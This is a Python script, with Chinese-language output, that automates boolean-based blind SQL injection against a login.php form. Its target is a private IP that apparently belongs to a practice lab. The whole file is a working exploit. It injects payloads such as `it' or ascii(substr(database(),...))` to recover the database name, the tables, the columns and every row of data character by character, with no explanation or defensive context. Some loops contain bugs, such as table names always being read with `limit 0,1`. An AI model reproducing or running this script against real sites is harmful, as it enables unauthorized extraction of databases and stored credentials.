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| import requests import sys
def req(url, data): headers = { "Content-Type": "application/x-www-form-urlencoded" } reqs = requests.post(url=url, headers=headers, data=data).text if "Wrong identification : admin" in reqs: return True else: return False
def main(url): print("1、获取数据库长度:", end="") databases_len = 0 for i in range(20): payload = f"username=it' or length(database())={i}#&password=admin" if req(url + "login.php", payload): print(f"共{i}个字符") databases_len = i break if not databases_len: print("执行数据库长度获取失败!") sys.exit(0) databases_name = "" num = 0 print("2、获取数据库名:", end="") for a in range(1, databases_len + 1): payload = f"username=it' or ascii(substr(database(),{a},1))>65#&password=admin" if req(url + "login.php", payload): start = 64 end = 128 else: start = 0 end = 65 for b in range(start, end): payload = f"username=it' or ascii(substr(database(),{a},1))={b}#&password=admin" if req(url + "login.php", payload): databases_name += chr(b) print(chr(b), end="", flush=True) num += 1 if not num: print("获取数据库名失败!") sys.exit(0) print(f"\n当前数据库名为:'{databases_name}'") print("3、获取数据库表结构") num = 0 dict_data = {} while True: table_len = 0 table_name = "" print(f"获取第{num + 1}张表信息:", end="") payload = f"username=it' or length((select table_name from information_schema.tables where table_schema='{databases_name}' limit {num},1))>0#&password=admin" if req(url + "login.php", payload): for i in range(1, 21): payload = f"username=it' or length((select table_name from information_schema.tables where table_schema='{databases_name}' limit {num},1))={i}#&password=admin" if req(url + "login.php", payload): table_len = i print(f"表长度为{table_len},", end="") break print("表名为", end="") for a in range(1, table_len + 1): payload = f"username=it' or ascii(substr((select table_name from information_schema.tables where table_schema='{databases_name}' limit 0,1),{a},1))>65#&password=admin" if req(url + "login.php", payload): start = 64 end = 128 else: start = 0 end = 65 for b in range(start, end): payload = f"username=it' or ascii(substr((select table_name from information_schema.tables where table_schema='{databases_name}' limit 0,1),{a},1))={b}#&password=admin" if req(url + "login.php", payload): table_name += chr(b) print(chr(b), end="", flush=True) print(f"\n第{num + 1}张表名为:'{table_name}'") dict_data[table_name] = {"cloumns": []} num_tow = 0 while True: cloumns_len = 0 cloumns_name = "" print(f"获取{table_name}表的第{num_tow + 1}个字段:", end="") payload = f"username=it' or length((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1))>0#&password=admin" if req(url + "login.php", payload): for i in range(1, 21): payload = f"username=it' or length((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1))={i}#&password=admin" if req(url + "login.php", payload): cloumns_len = i print(f"字段长度为{cloumns_len},", end="") break print("字段名为", end="") for a in range(1, cloumns_len + 1): payload = f"username=it' or ascii(substr((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1),{a},1))>65#&password=admin" if req(url + "login.php", payload): start = 64 end = 128 else: start = 0 end = 65 for b in range(start, end): payload = f"username=it' or ascii(substr((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1),{a},1))={b}#&password=admin" if req(url + "login.php", payload): cloumns_name += chr(b) print(chr(b), end="", flush=True) break print(f"\n{table_name}表的第{num_tow + 1}字段为:'{cloumns_name}'") dict_data[table_name]["cloumns"].append(cloumns_name) else: print("字段不存在,字段名称获取结束!") break num_tow += 1 else: print("表不存在,表获取结束!") break num += 1 if not num: print(f"{databases_name}没有任何表!") sys.exit(0)
num_three = 1 print("4、通过数据库、表、字段名称获取值") for tables in dict_data: print(f"获取{tables}表信息:", end="") table_cloumns_num = len(dict_data[tables]["cloumns"]) while True: payload = f"username=it' or (select count(*) from {databases_name}.{tables})={num_three}#&password=admin" if req(url + "login.php", payload): table_rows_num = num_three print(f"表共有{table_rows_num}行数据") break num_three += 1 for a in range(table_rows_num): dict_data[tables][f"第{a + 1}行"] = [] for b in range(table_cloumns_num): attack_cloumns = dict_data[tables]["cloumns"][b] attack_cloumns_len = 0 result_data = "" print(f"获取{tables}表第{a + 1}行{attack_cloumns}值:", end="") payload = f"username=it' or length((select {attack_cloumns} from {databases_name}.{tables} limit {a},1))>0#&password=admin" if req(url + "login.php", payload): for i in range(1, 100): payload = f"username=it' or length((select {attack_cloumns} from {databases_name}.{tables} limit {a},1))={i}#&password=admin" if req(url + "login.php", payload): attack_cloumns_len = i print(f"长度为{attack_cloumns_len},值为", end="") break for c in range(1, attack_cloumns_len + 1): payload = f"username=it' or ascii(substr((select {attack_cloumns} from {databases_name}.{tables} limit {a},1),{c},1))>65#&password=admin" if req(url + "login.php", payload): start = 64 end = 128 else: start = 0 end = 65 for d in range(start, end): payload = f"username=it' or ascii(substr((select {attack_cloumns} from {databases_name}.{tables} limit {a},1),{c},1))={d}#&password=admin" if req(url + "login.php", payload): result_data += chr(d) print(chr(d), end="", flush=True) break print(f"\n{tables}表第{a + 1}行{attack_cloumns}值为:'{result_data}'") dict_data[tables][f"第{a + 1}行"].append(result_data) print("---------------result---------------") for result_table in dict_data: for a in dict_data[result_table]: for b in dict_data[result_table][a]: print(b, end="\t") print()
if __name__ == "__main__": target = "http://10.129.229.139/" main(target)
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